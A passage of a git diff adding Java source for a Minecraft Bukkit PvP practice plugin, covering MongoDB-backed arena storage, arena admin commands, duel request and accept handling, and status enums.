WorldCreator(getConfig().getString("WORLD.NAME"))); + + /* Initialize Mongo first*/ + mongoClient = new MongoClient(getConfig().getString("DATABASE.AUTH.HOST"), getConfig().getInt("DATABASE.AUTH.PORT")); + mongoDatabase = mongoClient.getDatabase(getConfig().getString("DATABASE.NAME")); + + arenasCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.ARENA")); + laddersCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.LADDERS")); + profilesCollection = mongoDatabase.getCollection(getConfig().getString("DATABASE.COLLECTIONS.PROFILES")); + /* Initialize Mongo first*/ + + entityHider = new EntityHider(this, EntityHider.Policy.BLACKLIST); + + arenaManager = new ArenaManager(); + arenaManager.getArenasFromDatabase().forEach(Arena::save); + + ladderManager = new LadderManager(); + queueManager = new QueueManager(); + + ladderManager.getLaddersFromDatabase().forEach(Ladder::save); + + profileManager = new ProfileManager(); + matchManager = new MatchManager(); + teamManager = new TeamManager(); + spectatorManager = new SpectatorManager(); + kitManager = new KitManager(); + timerManager = new TimerManager(this); + tournamentManager = new TournamentManager(); + + new ListenerRegisterer(); + new ProtocolHandler(); + new CommandRegistrer(); + + new Aether(this, new UHCScoreboard(this)); + } + + @Override + public void onDisable() { + arenaManager.getArenas().values().forEach(Arena::save); + ladderManager.getLadders().values().forEach(Ladder::save); + profileManager.getProfiles().values().forEach(Profile::save); + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/Arena.java b/Practice/src/main/java/me/redis/practice/arena/Arena.java new file mode 100644 index 0000000..d009c6d --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/Arena.java @@ -0,0 +1,115 @@ +package me.redis.practice.arena; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.practice.Practice; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.SerializationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; + +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; +import java.util.UUID; + +@Getter +public class Arena { + private String name; + @Setter private String pos1; + @Setter private String pos2; + + private List authors = new ArrayList<>(); + + @Setter private String ffaLocation1; + @Setter private String ffaLocation2; + + @Setter private String firstCorner; + @Setter private String secondCorner; + + public Arena(String name) { + this.name = name; + + load(); + } + + public void load() { + Document document = (Document) Practice.getPlugin().getArenasCollection().find(Filters.eq("name", name)).first(); + + if (document == null) return; + + name = document.getString("name"); + pos1 = document.getString("pos1"); + pos2 = document.getString("pos2"); + if (document.getString("ffaLocation1") != null) { + ffaLocation1 = document.getString("ffaLocation1"); + } + + if (document.getString("ffaLocation2") != null) { + ffaLocation2 = document.getString("ffaLocation2"); + } + + if (document.getString("firstCorner") != null) { + firstCorner = document.getString("firstCorner"); + } + + if (document.getString("secondCorner") != null) { + secondCorner = document.getString("secondCorner"); + } + + authors = (List) document.get("authors"); + } + + public void save() { + Document document = new Document("_id", name); + + document.put("name", name); + document.put("pos1", pos1); + document.put("pos2", pos2); + document.put("ffaLocation1", ffaLocation1); + document.put("ffaLocation2", ffaLocation2); + document.put("firstCorner", firstCorner); + document.put("secondCorner", secondCorner); + document.put("authors", authors); + + Bson filter = Filters.eq("name", name); + FindIterable iterable = Practice.getPlugin().getArenasCollection().find(filter); + + if (iterable.first() == null) { + Practice.getPlugin().getArenasCollection().insertOne(document); + } else { + Practice.getPlugin().getArenasCollection().replaceOne(filter, document); + } + + check(); + } + + public void remove() { + Document document = (Document) Practice.getPlugin().getArenasCollection().find(Filters.eq("name", name)).first(); + + if (document == null) return; + + Practice.getPlugin().getArenasCollection().deleteOne(document); + } + + public boolean isUsable() { + return name != null && pos1 != null && pos2 != null && ffaLocation1 != null && ffaLocation2 != null; + } + + public void check() { + Practice.getPlugin().getArenaManager().getArenas().put(name, this); + } + + public Location getPos1() { + return LocationUtils.getLocation(pos1); + } + + public Location getPos2() { + return LocationUtils.getLocation(pos2); + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/ArenaManager.java b/Practice/src/main/java/me/redis/practice/arena/ArenaManager.java new file mode 100644 index 0000000..a57aafb --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/ArenaManager.java @@ -0,0 +1,71 @@ +package me.redis.practice.arena; + +import com.mongodb.client.model.Filters; +import lombok.Getter; +import me.redis.practice.Practice; +import org.bson.Document; +import org.bson.conversions.Bson; + +import java.util.*; +import java.util.regex.Pattern; + +public class ArenaManager { + @Getter private Map arenas = new HashMap<>(); + + public List getArenasFromDatabase() { + List arenasNoCache = new ArrayList<>(); + + for (Object object : Practice.getPlugin().getArenasCollection().find()) { + Document document = (Document) object; + + if (document != null) { + arenasNoCache.add(new Arena(document.getString("name"))); + } + } + + return arenasNoCache; + } + + public Arena getArena(String name) { + return arenas.get(name); + } + + public Arena getRandomArena() { + List randomArena = new ArrayList<>(); + + arenas.values().forEach(arena -> { + if (!arena.getName().toLowerCase().contains("sumo")) randomArena.add(arena); + }); + + if (randomArena.isEmpty()) return null; + + Random random = new Random(); + return (Arena) randomArena.toArray()[random.nextInt(randomArena.size())]; + } + + public Arena getRandomSumoArena() { + List sumoArenas = new ArrayList<>(); + + arenas.values().forEach(arena -> { + if (arena.getName().toLowerCase().contains("sumo")) sumoArenas.add(arena); + }); + + if (sumoArenas.isEmpty()) return null; + + Random random = new Random(); + return (Arena) sumoArenas.toArray()[random.nextInt(sumoArenas.size())]; + } + + public Arena getRandomSpleefArena() { + List spleefArenas = new ArrayList<>(); + + arenas.values().forEach(arena -> { + if (arena.getName().toLowerCase().contains("spleef")) spleefArenas.add(arena); + }); + + if (spleefArenas.isEmpty()) return null; + + Random random = new Random(); + return (Arena) spleefArenas.toArray()[random.nextInt(spleefArenas.size())]; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/ArenaCommand.java b/Practice/src/main/java/me/redis/practice/arena/commands/ArenaCommand.java new file mode 100644 index 0000000..f4dff0b --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/ArenaCommand.java @@ -0,0 +1,18 @@ +package me.redis.practice.arena.commands; + +import me.redis.practice.arena.commands.arguments.*; +import me.redis.practice.utils.command.ExecutableCommand; + +public class ArenaCommand extends ExecutableCommand { + public ArenaCommand() { + super("arena"); + + addArgument(new CreateArenaArgument()); + addArgument(new DeleteArenaArgument()); + addArgument(new SetArenaPositionArgument()); + addArgument(new SetArenaAuthorsArgument()); + addArgument(new ListArenasArgument()); + addArgument(new SetArenaFPositionArgument()); + addArgument(new SetArenaCornersArgument()); + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/CreateArenaArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/CreateArenaArgument.java new file mode 100644 index 0000000..27e51b8 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/CreateArenaArgument.java @@ -0,0 +1,47 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class CreateArenaArgument extends CommandArgument { + public CreateArenaArgument() { + super("create"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + String name = args[1]; + + for (Arena arena : Practice.getPlugin().getArenaManager().getArenas().values()) { + if (arena.getName().equalsIgnoreCase(name)) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + name + "&c' already exists in the database.")); + return true; + } + } + + Arena arena = new Arena(name); + arena.save(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + name + "&c' has been successfully created.")); + } + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/DeleteArenaArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/DeleteArenaArgument.java new file mode 100644 index 0000000..007cb5c --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/DeleteArenaArgument.java @@ -0,0 +1,46 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class DeleteArenaArgument extends CommandArgument { + public DeleteArenaArgument() { + super("delete"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + Practice.getPlugin().getArenaManager().getArenas().remove(arena.getName()); + arena.remove(); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' has been successfully deleted.")); + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/ListArenasArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/ListArenasArgument.java new file mode 100644 index 0000000..c0fcdfa --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/ListArenasArgument.java @@ -0,0 +1,32 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class ListArenasArgument extends CommandArgument { + public ListArenasArgument() { + super("list"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName(); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + sender.sendMessage(ChatColor.GOLD + "List of arenas:"); + for (Arena arena : Practice.getPlugin().getArenaManager().getArenas().values()) { + sender.sendMessage(ChatColor.translateAlternateColorCodes('&', "&a" + arena.getName() + " &7(" + StringUtils.join(arena.getAuthors(), ", ") + ") &7- " + (arena.isUsable() ? "&aUsable" : "&cNot usable") + " &7-> " + arena.getPos1().getX() + ", " + arena.getPos1().getZ())); + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaAuthorsArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaAuthorsArgument.java new file mode 100644 index 0000000..d8c580d --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaAuthorsArgument.java @@ -0,0 +1,61 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetArenaAuthorsArgument extends CommandArgument { + public SetArenaAuthorsArgument() { + super("authors"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (args[2].equalsIgnoreCase("add")) { + if (arena.getAuthors().contains(args[3])) { + player.sendMessage(ChatColor.RED + "That player is already an author of this arena."); + return true; + } + + arena.getAuthors().add(args[3]); + arena.save(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully added an author to the arena.")); + } else if (args[2].equalsIgnoreCase("remove")) { + if (!arena.getAuthors().contains(args[3])) { + player.sendMessage(ChatColor.RED + "That player is not an author of this arena."); + return true; + } + + arena.getAuthors().remove(args[3]); + arena.save(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully removed an author to the arena.")); + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaCornersArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaCornersArgument.java new file mode 100644 index 0000000..f7955e5 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaCornersArgument.java @@ -0,0 +1,56 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetArenaCornersArgument extends CommandArgument { + public SetArenaCornersArgument() { + super("setcorner"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " <1 or 2>"; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 3) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (args[2].equalsIgnoreCase("1")) { + arena.setFirstCorner(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the first corner.")); + + arena.save(); + } else if (args[2].equalsIgnoreCase("2")) { + arena.setSecondCorner(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the second corner.")); + + arena.save(); + } else { + player.sendMessage(getUsage(label)); + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaFPositionArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaFPositionArgument.java new file mode 100644 index 0000000..3a4443f --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaFPositionArgument.java @@ -0,0 +1,57 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetArenaFPositionArgument extends CommandArgument { + public SetArenaFPositionArgument() { + super("setffapos"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " <1 or 2>"; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 3) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (args[2].equalsIgnoreCase("1")) { + arena.setFfaLocation1(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the first ffa corner.")); + + arena.save(); + } else if (args[2].equalsIgnoreCase("2")) { + arena.setFfaLocation2(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the second ffa corner.")); + + arena.save(); + } else { + player.sendMessage(getUsage(label)); + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaPositionArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaPositionArgument.java new file mode 100644 index 0000000..b822b26 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetArenaPositionArgument.java @@ -0,0 +1,57 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetArenaPositionArgument extends CommandArgument { + public SetArenaPositionArgument() { + super("setpos"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " <1 or 2>"; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length < 3) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + + if (args[2].equalsIgnoreCase("1")) { + arena.setPos1(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the first position.")); + + arena.save(); + } else if (args[2].equalsIgnoreCase("2")) { + arena.setPos2(LocationUtils.getString(player.getLocation().add(0, 0.5, 0))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cYou have successfully set the second position.")); + + arena.save(); + } else { + player.sendMessage(getUsage(label)); + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetSumoArgument.java b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetSumoArgument.java new file mode 100644 index 0000000..21419bd --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/arena/commands/arguments/SetSumoArgument.java @@ -0,0 +1,43 @@ +package me.redis.practice.arena.commands.arguments; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.utils.LocationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetSumoArgument extends CommandArgument { + public SetSumoArgument() { + super("setsumo"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + ' ' + getName() + " <1 or 2>"; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Arena arena = Practice.getPlugin().getArenaManager().getArena(args[1]); + + if (arena == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&c'&7" + args[1] + "&c' does not exist.")); + return true; + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/duel/DuelCommand.java b/Practice/src/main/java/me/redis/practice/duel/DuelCommand.java new file mode 100644 index 0000000..c9db3c1 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/duel/DuelCommand.java @@ -0,0 +1,14 @@ +package me.redis.practice.duel; + +import me.redis.practice.duel.argument.DuelAcceptArgument; +import me.redis.practice.duel.argument.DuelPlayerArgument; +import me.redis.practice.utils.command.ExecutableCommand; + +public class DuelCommand extends ExecutableCommand { + public DuelCommand() { + super("duel"); + + addArgument(new DuelAcceptArgument()); + addArgument(new DuelPlayerArgument()); + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/duel/DuelRequest.java b/Practice/src/main/java/me/redis/practice/duel/DuelRequest.java new file mode 100644 index 0000000..78275d9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/duel/DuelRequest.java @@ -0,0 +1,36 @@ +package me.redis.practice.duel; + +import lombok.Getter; +import me.redis.practice.ladders.Ladder; +import mkremins.fanciful.FancyMessage; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; + +import java.util.UUID; + +public class DuelRequest { + + @Getter private UUID identifier; + @Getter private UUID sender; + @Getter private UUID receiver; + @Getter private Ladder ladder; + + public DuelRequest(Player sender, Player receiver, Ladder ladder) { + this.identifier = UUID.randomUUID(); + this.sender = sender.getUniqueId(); + this.receiver = receiver.getUniqueId(); + this.ladder = ladder; + + new FancyMessage( + "You have been sent a ").color(ChatColor.YELLOW) + .then(ladder.getName()).color(ChatColor.GREEN) + .then(" duel request by ").color(ChatColor.YELLOW) + .then(sender.getName()).color(ChatColor.GREEN) + .then(" (Click here to accept)").color(ChatColor.GREEN).command("/duel accept " + sender.getName()) + .then(".").color(ChatColor.YELLOW) + .send(receiver); + + sender.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have sent &a" + receiver.getName() + " &ea duel request.")); + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/duel/argument/DuelAcceptArgument.java b/Practice/src/main/java/me/redis/practice/duel/argument/DuelAcceptArgument.java new file mode 100644 index 0000000..3bb5126 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/duel/argument/DuelAcceptArgument.java @@ -0,0 +1,80 @@ +package me.redis.practice.duel.argument; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.duel.DuelRequest; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.match.type.SoloMatch; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +public class DuelAcceptArgument extends CommandArgument { + public DuelAcceptArgument() { + super("accept"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (args.length < 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Player target = Bukkit.getPlayer(args[1]); + + if (target == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cPlayer with name '&7" + args[0] + "&c' does not exist.")); + return true; + } + + Profile targetProfile = Practice.getPlugin().getProfileManager().getProfile(target.getUniqueId()); + + if (targetProfile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + target.getName() + " is not in the spawn."); + return true; + } + + if (!profile.hasRequest(target)) { + player.sendMessage(ChatColor.RED + "You have not a duel request from that player."); + return true; + } + + if (targetProfile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + "That player is not in the spawn."); + return true; + } + + + DuelRequest request = profile.getRequest(target); + profile.removeRequest(target); + + Arena arena = Practice.getPlugin().getArenaManager().getRandomArena(); + Arena sumo = Practice.getPlugin().getArenaManager().getRandomSumoArena(); + + if (request.getLadder().getName().toLowerCase().equalsIgnoreCase("sumo")) { + new SoloMatch(null, request.getLadder(), sumo, false, target, player); + } else { + new SoloMatch(null, request.getLadder(), arena, false, target, player); + } + } + return true; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/duel/argument/DuelPlayerArgument.java b/Practice/src/main/java/me/redis/practice/duel/argument/DuelPlayerArgument.java new file mode 100644 index 0000000..8dee698 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/duel/argument/DuelPlayerArgument.java @@ -0,0 +1,91 @@ +package me.redis.practice.duel.argument; + +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.listeners.MenuListener; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.CommandArgument; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; + +import java.util.List; + +public class DuelPlayerArgument extends CommandArgument { + public DuelPlayerArgument() { + super("send"); + } + + @Override + public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player.getUniqueId()); + + if (args.length != 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Player target = Bukkit.getPlayer(args[1]); + + if (profile.getStatus() != ProfileStatus.LOBBY) { + return true; + } + + if (player == target) { + return true; + } + + if (target == null) { + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&cPlayer with name '&7" + args[1] + "&c' does not exist.")); + return true; + } + + Profile targetProfile = Practice.getPlugin().getProfileManager().getProfile(target.getUniqueId()); + + if (targetProfile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + target.getName() + " is not in the spawn."); + return true; + } + + if (targetProfile.hasRequest(player)) { + player.sendMessage(ChatColor.RED + "You have already requested that player a match."); + return true; + } + + MenuListener.selectedPlayer.put(player.getUniqueId(), target.getUniqueId()); + open(player); + } + return true; + } + + public void open(Player player) { + Inventory inventory = Bukkit.createInventory(null, 9, ChatColor.BLUE + "Send a duel"); + + for (Ladder ladder : Practice.getPlugin().getLadderManager().getLadders().values()) { + ItemStack item = SerializationUtils.itemStackFromString(ladder.getIcon()); + + inventory.addItem(new ItemBuilder(item).setDisplayName("&a" + ladder.getName()).create()); + } + + player.openInventory(inventory); + } + + @Override + public List onTabComplete(CommandSender sender, Command command, String label, String[] args) { + return null; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/enums/MatchStatus.java b/Practice/src/main/java/me/redis/practice/enums/MatchStatus.java new file mode 100644 index 0000000..b9b4519 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/enums/MatchStatus.java @@ -0,0 +1,5 @@ +package me.redis.practice.enums; + +public enum MatchStatus { + CANCELLED, STARTING, ONGOING, FINISHED +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/enums/MatchType.java b/Practice/src/main/java/me/redis/practice/enums/MatchType.java new file mode 100644 index 0000000..afec435 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/enums/MatchType.java @@ -0,0 +1,5 @@ +package me.redis.practice.enums; + +public enum MatchType { + ONE_VS_ONE, TEAM_VS_TEAM, TWO_VS_TWO +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/enums/ProfileStatus.java b/Practice/src/main/java/me/redis/practice/enums/ProfileStatus.java new file mode 100644 index 0000000..70c9100 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/enums/ProfileStatus.java @@ -0,0 +1,21 @@ +package me.redis.practice.enums; + +public enum ProfileStatus { + LOBBY("Lobby"), + QUEUE("Queueing"), + MATCH("Match"), + SPECTATOR("Spectating"), + EDITING("Editing"); + + + private String toString; + + ProfileStatus(String toString) { + this.toString = toString; + } + + @Override + public String toString() { + return this.toString; + } +} diff --git a/Practice/src/main/java/me/redis/practice/enums/TeamMatchType.java b/Practice/src/main/java/me/redis/practice/enums/TeamMatchType.java new file mode 100644 index 0000000..c91b799 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/enums/TeamMatchType.java @@ -0,0 +1,6 @@ +package me.redis.practice.enums; + +public enum TeamMatchType { + + TEAM_DEATHMATCH, FREE_FOR_ALL +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/enums/TeamStatus.java b/Practice/src/main/java/me/redis/practice/enums/TeamStatus.java new file mode 100644 index 0000000..e5865fd --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/enums/TeamStatus.java @@ -0,0 +1,6 @@ +package me.redis.practice.enums; + +public enum TeamStatus { + + IDLE, QUEUING, FIGHTING +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/BoardCreateEvent.java b/Practice/src/main/java/me/redis/practice/events/BoardCreateEvent.java new file mode 100644 index 0000000..597f64a --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/BoardCreateEvent.java @@ -0,0 +1,27 @@ +package me.redis.practice.events; + +import me.redis.practice.scoreboard.scoreboard.Board; +import lombok.Getter; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class BoardCreateEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + @Getter private final Board board; + @Getter private final Player player; + + public BoardCreateEvent(Board board, Player player) { + this.board = board; + this.player = player; + } + + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerCreateTeamEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerCreateTeamEvent.java new file mode 100644 index 0000000..efa008c --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerCreateTeamEvent.java @@ -0,0 +1,22 @@ +package me.redis.practice.events; + +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; + +public class 